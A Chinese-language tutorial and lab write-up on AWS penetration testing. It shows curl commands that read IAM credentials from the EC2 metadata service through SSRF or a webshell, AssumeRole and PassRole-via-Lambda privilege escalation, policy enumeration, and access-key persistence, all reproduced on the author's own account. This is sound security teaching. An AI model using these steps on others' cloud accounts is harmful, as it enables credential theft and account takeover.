AWS 云渗透测试

围绕 AWS 环境的信息收集、身份权限与常见攻击面的实践笔记。

EC2 元数据服务利用(IMDS)

跟IAM息息相关,在基础部分其实提到过这个,要利用的话只能通过ssrf和webshell等

在EC2里面访问下面连接的时候 可能会获得一个临时凭证 相当于获得临时的KEY来访问该权限下的所有服务

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

EC2 元数据服务(Instance Metadata Service, IMDS) 运行在这个 IP 上,它提供:

  1. 实例信息(如 instance-id, ami-id)
  2. 网络信息(如 public-ipv4, security-groups)
  3. IAM 角色凭证(最关键的部分!)
  4. 用户数据(EC2 启动时执行的脚本)

跟基础部分一样,有了这两个KEY,你可以查看S3,查看EC2,查看一系列东西,算是高危,且默认是开启的。

比如

访问路径:

1
curl http://169.254.169.254/latest/meta-data/

返回:

1
2
3
4
5
6
7
8
ami-id
hostname
iam/
instance-id
instance-type
network/
public-ipv4
security-groups

其中,最危险的是:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

返回:

1
AdminRole

然后访问:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

如果返回:

1
2
3
4
5
6
{
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "....",
    "Token": "....",
    "Expiration": "2025-03-04T00:00:00Z"
}

成功拿到了 AWS IAM 角色的临时凭证,可以用 AWS CLI 进行各种操作!

实操一下 这里开启一个EC2实例 就用之前用过的就行,只要访问成功就行,学到的内容就是:找到一个AWS EC2实例开启的web服务的ssrf或者getshell的时候就能接管一部分资源了。

AWS元数据服务利用实操

AWS 默认使用 IMDSv1(curl 可以直接访问),但 AWS 允许管理员启用 IMDSv2,它要求:

  • 先获取一个临时 Token
  • 使用 Token 进行后续请求

检查是否启用了 IMDSv2

1
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

正常来说curl直接就可以了 但是上面也提到了如果开启了 IMDSv2 就需要先获得token 然后利用token再来请求元数据。如下

获得了一串token就说明 IMDSv2 已启用,你必须用这个 Token 才能访问元数据。

其实就是获取了token之后加一个请求头就行 按照上面教程加一个请求添加上token

1
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

如果在ssrf或者webshell当中 他不是交互式可能用不了这种变量 需要自行复制粘贴上去就行 这里学习的话方便一点就直接 设一个变量了

1
2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

成功了 但是并没有绑定IAM角色 所以要绑定一个IAM角色才能读取凭证 在AWS基础概念那一块 对这个EC2绑定IAM角色讲了一部分 但是对于原理的部分讲的比较少 目前有一个EC2实例,他想要访问S3存储桶,可能是一个web服务,他想在本地存储文件存储到存储桶,还是写入一些东西放到存储桶,或者每天备份一次网站到存储桶等等这都是后端部分了,我想表达的意思就是这个EC2要调用S3存储桶。

正常来说访问S3存储桶,生成一个用户,获得他的两个KEY不就可以了吗,怕危险也可以只给这个用户一个S3的权限,这样很方便,但是这样的优点较少弊端较多,首先如果攻击者获得了webshell找到了KEY就能长期持有这个S3的权限了,其次如果想要其他服务的权限,手动轮换的代价过高,需要人工访问API等等都是缺点,优点只有一个SSRF读取不到,缺点就是任意文件读取能读到。

而绑定一个角色,需要什么权限就绑哪一个就行了,可以一直绑,优点就是key的时效只有1个小时,在后面将漏洞修复了,他就无法长期来控制这个S3,那在EC2内部调用S3等等服务的时候不还是要先获取token再请求api获得临时凭证吗,也挺麻烦的,实际上AWSCLI在你请求S3的时候会自动获取凭证等等信息,不需要其他操作,缺点就是SSRF能读取把。接下来开始实操

EC2绑定IAM角色

选择刚刚创建的角色更新就行 接下来看一下存储桶

没有问题 一个存储日志的存储桶 一个学习基础概念的时候创建的存储桶 可以直接访问

环境配好了 接下来放EC2元数据服务的接口 普通命令之前就了解了 不需要再用这个操作了 目前的场景主要是webshell还有ssrf

EC2元数据服务重要接口

自行学习还是先把TOKEN生成一下吧

1
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

EC2 的元数据存储在 http://169.254.169.254/latest/meta-data/ 下面,所有的关键信息都可以从这里获取。

接口用途IMDS v1IMDS v2
/latest/meta-data/获取所有可用的元数据目录curl http://169.254.169.254/latest/meta-data/curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
/latest/meta-data/iam/security-credentials/列出 IAM 角色名称curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
/latest/meta-data/iam/security-credentials/{role-name}获取 IAM 角色的临时凭证curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
/latest/meta-data/instance-id获取实例 IDcurl http://169.254.169.254/latest/meta-data/instance-idcurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
/latest/meta-data/public-ipv4获取实例的公网 IPcurl http://169.254.169.254/latest/meta-data/public-ipv4curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4
/latest/meta-data/local-ipv4获取实例的私有 IPcurl http://169.254.169.254/latest/meta-data/local-ipv4curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4
/latest/meta-data/mac获取实例的 MAC 地址curl http://169.254.169.254/latest/meta-data/maccurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/mac
/latest/meta-data/network/interfaces/macs/{mac}/vpc-id获取 VPC IDcurl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-idcurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id

没有问题 其他接口感兴趣可以自己测一下

IAM 渗透(角色切换 & 权限滥用)

在 AWS 云渗透中,很多 AWS 资源(EC2、Lambda)默认绑定 IAM 角色,但这些角色通常是 最低权限的。

但是,有些 IAM 角色可能可以 Assume(承担)更高权限的角色! 如果攻击者找到这些角色,就可以获取更高级的访问权限,甚至变成 AWS 管理员。

IAM 渗透主要有 4 个核心技术点:

  1. sts:AssumeRole角色切换 → 获取更高权限
  2. iam:PassRole权限滥用 → 绕过访问控制
  3. iam:GetPolicyVersion读取策略 → 找到可滥用权限
  4. iam:CreateAccessKey创建新密钥 → 持久化控制 AWS 账户

sts:AssumeRole角色切换

理论

  • AssumeRole允许一个 IAM 角色 “变成” 另一个 IAM 角色
  • 这意味着 低权限用户可能可以切换成高权限用户
  • 如果攻击者能找到可被 Assume 的高权限角色,他就能 借此提升权限!
1
aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/AdminRole" --role-session-name attacker-session

如果成功,会返回一个 新的临时凭证:

1
2
3
4
5
6
7
8
{
  "Credentials": {
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "SECRET...",
    "SessionToken": "TOKEN...",
    "Expiration": "2025-03-04T00:00:00Z"
  }
}

在 AWS 中,AssumeRole 允许一个 IAM 角色“变成”另一个 IAM 角色。

🔹 为什么这很重要?

  • AWS 不让普通用户直接访问 Administrator 角色,但有些 IAM 角色可以 Assume(切换)到更高权限的角色。
  • 如果你的角色有 sts:AssumeRole权限,你就可以“变成”管理员!

🔹 如何工作?

  1. 低权限角色(你当前的 EC2S3AccessRole)请求 AssumeRole,AWS 返回 一个临时凭证。
  2. 用这个新凭证,你可以变成更高权限的 IAM 角色,并访问受限资源。

上面就是理论框架,理清一下思路,如果存在sts:AssumeRole权限就可以切换到管理员权限,而当前用户不存在 sts:AssumeRole 权限怎么办呢,那就需要去找有这个权限的IAM角色,并且这个角色必须信任当前持有的IAM账户,才能切换到这个IAM角色。接下来搭建环境。

注意这里一定要读:这个有点复杂 也是我复现到后面才发现的问题 仅仅存在sts:AssumeRole权限的话是无法随意切换到其他用户的 利用的前提就是高权限用户信任低权限用户且低权限用户存在sts:AssumeRole权限,这个权限的作用仅仅是允许你可以切换用户,仅此而已,就像linux必须先给你一个su的权限,且你su的时候另一个用户对你开放了su不需要密码的权限才行。有点鸡肋,下面的环境搭建教程我重新重构了。

环境搭建

给之前创建的EC2S3AccessRole角色加上查询用户以及查询信任关系的权限,让EC2S3AccessRole能查到谁信任它,然后给上sts:AssumeRole权限让他具备 “su” 的能力。

给EC2S3AccessRole能查询用户的权限,如果不能查询用户,他就不知道谁信任他,也找不到ARN,也无法切换到这个具有sts:AssumeRole权限且信任他的角色了。

步骤如下

在对应的位置搜索IAM找到ListRoles和GetRole打勾就可以,当然右边的json也可以,在右边的json里面输入下面的配置也是没问题的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "VisualEditor0",
			"Effect": "Allow",
			"Action": "iam:GetRole",
			"Resource": "arn:aws:iam::6502*******:role/*"
		},
		{
			"Sid": "VisualEditor1",
			"Effect": "Allow",
			"Action": "iam:ListRoles",
			"Resource": "*"
		}
	]
}

1
aws iam list-roles

回到EC2上测试没有问题,当前的EC2S3AccessRole角色可以查看IAM用户了。

接下来给EC2S3AccessRole附上sts:AssumeRole权限

还是刚刚的的步骤继续内联策略

这里详细介绍一下资源(画红线)这一块,有些意思感兴趣可以看看(上面其实也有这个)。

选择所有的话,代表整个AWS里面,包括任何AWS账号的任何角色,你都可以去尝试切换,但是前提是他得信任你,只要他在他的信任策略里面添加了这个账号的ARN,就可以跨账号去切换过去,这个一般用于企业跨AWS账号。 选择特定的话,可以点击那个添加ARN来选择。

上面说了所有的话是没有任何限制,这里有点限制,限制一个AWS账户,也就是只有你指定的AWS账户里的角色对你信任你才能切换过去,其他账户的角色就算对你信任,你不解开这个,也无法去切换过去,算是一个双向的认证吧。

直接添加就行 选择当前ARN资源的所有的path

此时两个策略写好了,目前还需要创建一个角色,为了体现越权的感觉,给新建的角色AdministratorAccess等权限就行,同时信任EC2S3AccessRole。

到这一步创建就可以了 值得一提的是 从开始创建选择受信任的实体的时候 我们选择了当前的账户 这导致我们整个账户的角色 都被PrivilegeTest这个新角色信任 但是我们一开始的目的是 仅仅允许EC2S3AccessRole被信任 那就可以用下面这个 将他的ARN填进去就行 然后编辑覆盖原来的信任策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::650251******:role/EC2S3AccessRole"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

至此环境全部搭建好了。

复现验证

接下来复现一条攻击链,整体的方法非常多,先走其中一条复现原理。

1
2
3
4
5
aws iam list-roles
aws iam list-roles --query "Roles[*].Arn"

# --query后面是查询语法 把这两个输出一下就能理解了
aws iam list-roles --query "Roles[*].RoleName"

找到了一堆角色,现在可能有很多疑问,但是先看下去后面会解释,目前是为了熟悉这一条流程。

我们已经知道了PrivilegeTest这个就是信任当前角色(EC2S3AccessRole)的角色,输出一下他的ARN

1
2
3
4
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn"
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn" --output text

# 这个规则也可以学习一下

拿到了ARN 虽然已经知道了这个角色信任我们,但是还是得验证一下

1
aws iam get-role --role-name PrivilegeTest --query "Role.AssumeRolePolicyDocument"

没有问题 确实是信任状态 目前就可以尝试获得这个高权限的两个KEY了

1
aws sts assume-role --role-arn "arn:aws:iam::6502********:role/PrivilegeTest" --role-session-name test-session

没问题 直接使用AWS CLI将这些凭证写入 这里还有很多方法 不能用刚开始学的方法 那个无法写入token 导致无法使用 下面这个应该是最快的和方便的了

1
2
3
4
aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

输入完成就开始验证一下当前身份就行了 不执行其他命令了

1
aws sts get-caller-identity --profile privileged-session

没有问题 成功切换了 剩下的就可以看看当前权限什么的 然后干一些事情

补充部分

这一部分也是最麻烦的。流程已经讲清楚了再复述一遍把。当我们第一次拿到了一个角色的凭证,无论是IMDS还是什么获取到的,如果权限过低首先尝试提权。

先用当前角色xxxx查询所有角色xxxx的名称以及ARN,再xxxx查询谁对我信任,然后再xxxx切换到xxxx信任我的角色。

上面的关键流程我都打高亮了,第一个问题查询所有角色,之前环境搭建的时候看到了,查询所有角色的权限是我们给他的,如果不给他呢?其实还有很多方法,但是是其他权限的方法(总而言之就是要权限),只是这个方法比较简单,所以才给了它查询所有角色的权限。第二个能查询所有权限了,还需要查看谁对我信任,所以我们当时又给了他一个获得策略的权限,这样就可以去查看其他角色的信任策略了。第三给它 sts:AssumeRole 权限,这样才能切换角色。

最关键的就是查询所有角色,这里不仅要判断他是否为高权限角色,还要看他是否对当前角色信任。你能想到的每一块其实都有对应的权限需要对开启才能查看。

查看权限策略需要 iam list-attached-role-policies ,查看内联策略需要 iam list-role-policies 。不开启那就什么都干不了,补充部分作为最重要的部分,主要目的是如果存在一部分权限,如果进行利用完成攻击链。

流程所需的命令

命令用途所需权限
aws sts get-caller-identity获取当前身份(确定是 IAM 用户 还是 IAM 角色)无需权限(所有 AWS 账户默认可用)
aws iam list-roles查询当前 AWS 账户所有 IAM 角色的名称和 ARNiam:ListRoles
aws iam list-users列出所有 IAM 用户 (用户名 + ARN)iam:ListUsers
aws iam get-user获取当前 IAM 用户的详细信息 (用户名 + ARN)iam:GetUser
aws iam get-role --role-name <ROLE_NAME>获取指定角色的详细信息(包括信任策略)iam:GetRole
aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess查看哪些 IAM 用户/角色 绑定了管理员权限iam:ListEntitiesForPolicy
aws iam list-attached-role-policies --role-name <ROLE_NAME>获取指定角色 附加的 托管策略iam:ListAttachedRolePolicies
aws iam list-role-policies --role-name <ROLE_NAME>获取指定角色的 内联策略iam:ListRolePolicies
aws iam get-role-policy --role-name <ROLE_NAME> --policy-name <POLICY_NAME>查看指定角色的 内联策略 详细内容iam:GetRolePolicy
aws iam get-policy --policy-arn <POLICY_ARN>查看指定 托管策略 的信息iam:GetPolicy
aws iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1获取指定 托管策略版本 的详细权限iam:GetPolicyVersion
aws sts assume-role --role-arn "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>" --role-session-name my-session切换到目标角色(需要目标角色信任当前身份)sts:AssumeRole
aws sts get-session-token获取基于 MFA 的临时凭证(用于提高权限)sts:GetSessionToken
aws sts decode-authorization-message --encoded-message <ENCODED_MESSAGE>解码 AccessDenied 错误的详细信息sts:DecodeAuthorizationMessage

iam:PassRole 权限滥用

理论

逻辑:

  1. PassRole 允许你把一个 IAM 角色 赋予 AWS 资源(比如 EC2、Lambda)。
  2. 但你自己不能 Assume 这个角色,只能让 AWS 资源使用这个角色。
  3. 如果 AWS 资源能执行某些高权限操作(比如 S3 读写、EC2 操作),那你就能利用它间接获取高权限。

方式:

  1. 让 Lambda 绑定高权限角色(常见方式)
  • 我们有iam:PassRole 权限,并且可以创建 / 更新 Lambda。
  • 我们创建 Lambda 并让它绑定高权限角色,然后让 Lambda 执行命令。
  1. 让高权限角色绑定到 Lambda / EC2(可遇不可求)
  • 如果目标高权限 IAM 角色 能修改 AWS 资源(EC2 / Lambda),那么它可以被引导去执行恶意代码。
  • 这种情况比较少见,主要是如果管理员误配置导致你能控制某个高权限角色的 AWS 资源。

前提:你拥有以下权限之一

权限作用
iam:PassRole允许你给 Lambda / EC2 附加 IAM 角色 (前提权限,必须有)
lambda:CreateFunction允许你创建新的 Lambda (新建时直接赋予高权限角色)二选一
lambda:UpdateFunctionConfiguration允许你修改已有 Lambda 的 IAM 角色 二选一
lambda:InvokeFunction允许你触发 Lambda (如果你改了 Lambda 代码,也得能调用它) 必须
lambda:ListFunctions允许你列出已有 Lambda (如果你想改某个 Lambda,先得能看到它) 必须
ec2:RunInstances允许你创建新的 EC2 (创建时直接赋予高权限角色)
ec2:ModifyInstanceAttribute允许你修改已有 EC2 的 IAM 角色
ec2:StartInstances允许你启动一个暂停的 EC2(如果它已经有高权限角色)

解释一下这里:创建角色的时候不是可以选择服务吗,你可以选择Lambda或者ec2,我们之前用的EC2S3AccessRole就是选择EC2所以它是拥有EC2全部权限的角色,在创建的时候就已经选择了EC2了,这个时候再附加上iam:PassRole就可以完成这部分的利用,这就是原理,当然这只是一个场景表达的意思是能理解就行,最终还是需要上面的这些权限可以比如iam:PassRole加上lambda的那四个权限,或者iam:PassRole加上ec2的那三个权限,都可以完成。

主要逻辑就是先查看所有的Lambda函数(lambda:ListFunctions),创建一个Lambda函数(lambda:CreateFunction/lambda:UpdateFunctionConfiguration),配合iam:PassRole将高权限角色绑定上去,该Lambda代码,一般创建的时候就能直接构造,执行代码(lambda:InvokeFunction),完成攻击。

环境搭建

需要一个高权限且信任Lambda服务的角色,我过会针对这个角色来做攻击

验证一下这个账号是否可用,顺便聊一下Lambda的原理,Lambda会强制绑定一个角色,如果没有合适的角色在你创建Lambda函数的时候会自动给你生成一个合适的角色,我们刚刚创建的就是一个合适的角色,首先信任Lambda服务,其次拥有administratoraccess权限这个权限包含了Lambda的所有权限。

如何验证呢?前往Lambda处创建函数,选择现有角色,这里只会出现合适的角色。

第二个就是我们创建的,那么第一个是哪来的呢,这个是在AWS基础概念那边学习基础的时候,不懂这些,就选择的上面创建具有基本Lambda权限的新角色自动创建的。可以研究一下角色看都有什么权限。MyFirstFunction-role-ox8lckqa

可以看到,这里仅仅信任Lambda服务,其次有一个自定义的策略,主要就是Amazon CloudWatch Logs 权限 跟描述一样

被提权的角色搭建完成了,还需要创建一个具有Lambda权限的账户/能访问的角色 这两个其中一个都行,然后加上关键的iam:PassRole权限就配置好了这个低权限用户/角色。

这里要考虑的问题可以自行思考一下,以及哪个方便都能自行考虑一下,能加深对这些服务的理解,更好理解这个架构和原理。这里为了演示并且熟悉一下之前学过的东西就选择能访问的角色把。

创建即可 开始赋予关键的权限 iam:PassRole 。

这样就算完成了。梳理一下当前的思路。 有一个高权限的且信任Lambda的角色,还有一个我们可控的仅仅具有Lambda和iam:PassRole权限的低权限角色,这个时候我们可控的低权限角色可以靠Lambda权限创建函数,iam:PassRole权限又允许我们可以指定高权限角色作为这个函数的执行角色。将这个高权限的且信任Lambda的角色添加为我们可控的函数的执行角色之后,我们上传的任何的Lambda代码,在执行的时候都是以这个高权限角色的身份运行的,这就是原理。

复现验证

还记得EC2S3AccessRole这个账号吗,它存在角色切换的权限,当然也可以用之前创建的具有administratoraccess权限的账户,都是没有问题的,这里体现的就是我们控制了存在Lambda权限的账号且该账号存在 iam:PassRole 权限。

找到新建低权限角色LambdaTest的ARN

1
aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession

没有任何问题 还是上节学的导入方法 那个方法比较简单 其他方法稍微麻烦就不搞了。

1
2
3
4
aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

有了这些东西 只要存在AwsCli 不管在哪里执行都行

可以执行 返回空是因为我把lambda函数全都删了(Lambda函数的boto3库是一定要学的 我比较擅长python 后续回单开一节专门学习boto3库) 按照基础概念里学的步骤往上传就可以了

构造python的poc代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import json
import boto3

def lambda_handler(event, context):
    client = boto3.client('s3')
    response = client.list_buckets()

    for bucket in response["Buckets"]:
        bucket["CreationDate"] = bucket["CreationDate"].isoformat()

    return {
        'statusCode': 200,
        'body': json.dumps(response)
    }

压缩代码 能压缩就行 不管什么办法

1
zip function.zip lambda_function.py

创建函数

1
2
3
4
5
6
7
8
aws lambda create-function \
    --function-name testLambda \
    --runtime python3.9 \
    --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
    --handler lambda_function.lambda_handler \
    --zip-file fileb://function.zip

aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> --handler lambda_function.lambda_handler --zip-file fileb://function.zip

这里有个小插曲,昨天我尝试了很久一直失败了(今天成功了),说什么token有问题,问了GPT的同时我也分析了下,旧的 STS 临时凭证仍然在使用这个最符合我当时的情况,如果你的 AWS CLI 之前使用了一个失效的或权限不足的 STS 临时凭证,即使你在 AWS 控制台修改了 IAM 角色权限,CLI 仍然会使用旧的 Token,导致权限问题。当时做测试用了很多的STS临时凭证,后面发现有问题就重新加权,结果一直是如下报错。

An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.

今天可能是因为设置的token失效为一个小时,已经过期被抛弃了,重新生成key和token之后恢复了正常,GPT也给了解决方法,昨天没有用到的。

1
aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession

可以试试 总之今天能使用了 成功上传

没有问题 可以在web端测试一下 看看能不能跑起来 同时用AWSCLI验证一下 能否访问S3

1
aws lambda invoke --function-name testLambda --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

没有问题 确实是遍历了 至此攻击链完结

补充部分

关键利用链也讲的很清楚了 但其实还有一处特别重要 Lambda函数提供了多种语言

如果你擅长其中一种语言 再查看的时候你可以发现他引入了一个库 比如python就有boto3库 很明显 访问资源的时候 基本上就是boto3库来进行调用才访问到的 而刚刚给的代码只能完成访问S3没有其他作用 所以后续必须学习写Lambda代码 也就是学习boto3这个库 学这个后面必须新开一个才行 这里复现完成就到此为止了。

iam:GetPolicyVersion 读取策略

理论

如果你可以调用 iam:GetPolicyVersion,你就可以查看某个策略的所有权限,可能会发现被滥用的高权限策略。之前学习的两个都存在滥用的高权限策略,这里主要是把他们两个读出来,然后看看就行了,具体是要会分析,会读取。这里的逻辑可能有点问题,是这样的,如果你发现了一个策略绑定到了某个角色身上,并且该角色是你可控的角色。(用户我试了 无法查询)

环境搭建

复用前两个的环境即可,至于我们需要的iam:GetPolicyVersion权限,想创建可以自行创建看看,主要是需要这几个权限。

1
2
3
iam list-policies(查询账户中所有的管理策略)
iam get-policy(查询某个策略的默认版本)
iam GetPolicyVersion(最关键的)(读取策略的详细内容)

我这里直接用管理员账户测试就行了。

查询账户中所有管理策略

目标:找到所有 AWS 账户中的 Managed Policy(托管策略)。

1
aws iam list-policies --query "Policies[*].{PolicyName:PolicyName, Arn:Arn}"

返回示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[
  {
    "PolicyName": "AdministratorAccess",
    "Arn": "arn:aws:iam::aws:policy/AdministratorAccess"
  },
  {
    "PolicyName": "S3FullAccess",
    "Arn": "arn:aws:iam::aws:policy/S3FullAccess"
  }
]

你会发现当前 AWS 账户内所有的策略,包括:

  • 高权限策略(如 AdministratorAccess)
  • 可能可滥用的策略(如 PassRole、CreateUser 等)

查询某个策略的 默认版本

目标:找到某个策略的 VersionId,然后用 GetPolicyVersion 获取具体权限。

1
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

返回示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "Policy": {
        "PolicyName": "AdministratorAccess",
        "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
        "DefaultVersionId": "v1",
        "AttachmentCount": 10,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true
    }
}

重点:DefaultVersionId是 v1,这个 v1 就是当前生效的策略版本。

读取策略的详细内容

目标:利用 iam:GetPolicyVersion 读取策略权限,查找可滥用的权限。

1
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

返回示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true
    }
}

如果 Action: "*"和 Resource: "*",说明这个策略是 AdministratorAccess,可以完全控制 AWS 账户。

上面的流程都敲一遍,因为后续还有点复杂,理论部分讲过了,这个主要是在你知道了你可控的某个角色绑定的策略之后,在进行利用的,如果你不知道你可控的角色绑定了什么策略,查这个完全没用。

接下来引出6个重要的权限用于配合 iam:GetPolicyVersion。

查询用户(User)绑定的策略
  • 托管策略:
1
aws iam list-attached-user-policies --user-name <用户名>

所需权限:iam:ListAttachedUserPolicies

输出示例:

1
2
3
4
5
6
7
8
{
  "AttachedPolicies": [
    {
      "PolicyName": "AdminPolicy",
      "PolicyArn": "arn:aws:iam::123456789012:policy/AdminPolicy"
    }
  ]
}
  • 内联策略:
1
aws iam list-user-policies --user-name <用户名>

所需权限:iam:ListUserPolicies

输出示例:

1
2
3
{
  "PolicyNames": ["InlinePolicyForUser"]
}
查询角色(Role)绑定的策略
  • 托管策略:
1
aws iam list-attached-role-policies --role-name <角色名>

所需权限:iam:ListAttachedRolePolicies

  • 内联策略:
1
aws iam list-role-policies --role-name <角色名>

所需权限:iam:ListRolePolicies

查询组(Group)绑定的策略
  • 托管策略:
1
aws iam list-attached-group-policies --group-name <组名>

所需权限:iam:ListAttachedGroupPolicies

  • 内联策略:
1
aws iam list-group-policies --group-name <组名>

所需权限:iam:ListGroupPolicies

复现验证

接下来就比较简单了,我们针对EC2S3AccessRole进行查询看看就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
C:\Users\xxxxxx>aws iam list-attached-role-policies --role-name EC2S3AccessRole
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonS3ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonS3FullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
        },
        {
            "PolicyName": "AWSLambda_FullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
        }
    ]
}

C:\Users\xxxxxx>aws iam list-role-policies --role-name EC2S3AccessRole
{
    "PolicyNames": [
        "AssumeRole",
        "ListRoles"
    ]
}

能看到他所有的权限,那么问题来了,是个人都知道上面的托管策略的里面的三个是干啥的,他们都是默认的,具体的权限也都知道,为什么非要去读取它的具体策略还非要iam:GetPolicyVersion去读取呢,为什么还非要 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 这三个权限配合呢?这不是多此一举吗,我其实疑问也非常大。实际上这个权限危害还是挺大的。攻击链因具体环境而变,首先主要针对于自定义策略,如果上面查到的三个托管权限不是默认的呢,是不是就无法确认他是什么权限,这个时候用iam GetPolicyVersion读取出来就知道他能干什么了,如果出现表中的权限,那么干的事情就非常多了。

可滥用权限风险
iam:PassRole允许将高权限角色绑定到 Lambda / EC2 进行提权
sts:AssumeRole允许切换到高权限角色
iam:CreateUser允许创建新 IAM 用户,持久化后门
iam:AttachUserPolicy允许给低权限用户绑定管理员权限
iam:CreateAccessKey允许为其他用户创建密钥
lambda:UpdateFunctionCode允许修改 Lambda 代码,植入恶意操作

这一条攻击链是能知道某个角色存在某个自定义的托管权限,然后去查看具体的托管权限是怎么写的。 下一个问题,那跟这三个权限中的上面两个有什么关系,为什么非要提他俩。 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 我们可以用第一个命令找到所有的权限,如果存在某个非默认的自定义托管权限的时候,查看一下版本,如果是默认的,就去读取整个策略的详细内容,再根据这个自定义策略去猜测他给了谁,也就是谁被赋予了这个自定义策略,甚至能构造poc直接遍历所有角色跑一边,或者说下面这个权限也能找到。

目标:确定该策略被绑定到哪些用户(User)、角色(Role)或组(Group)。 所需权限:iam:ListEntitiesForPolicy(列出绑定该策略的实体)。 操作:

1
aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy
1
2
3
4
5
{
  "PolicyGroups": [],
  "PolicyUsers": [{"UserName": "BackdoorUser"}],
  "PolicyRoles": [{"RoleName": "AdminRole"}]
}

这个时候就能定位目标角色了,如果你有这个角色的权限或者查询一下目标角色的信任策略(get-role),然后就可以用arn:aws:iam::123456789012:policy/AdminPolicy了。

刚好又回到了sts:AssumeRole角色切换这里,这就是完整的攻击链。

补充部分

可能看起来确实有点复杂了,但是这仍然是一个高危的权限,它允许你读取很多策略,可能利用部分感觉有点鸡肋,一般有些公司可能会写一堆自定义策略,AWS已经做到极致了,当管理人员写错任何一个策略都可能被乘虚而入。

iam:CreateAccessKey 创建新密钥

理论

Access Key = AWS 账户的凭据,相当于 root 账户的用户名和密码。

通过 iam:CreateAccessKey,攻击者可以给自己创建一个新的 Access Key,即使原有凭据被废弃,攻击者仍然可以继续访问 AWS 资源。

这是一种 持久化 技术,允许攻击者在获得 AWS 账户初始访问权限后 长期保留访问权限,即使管理员删除原始凭据。

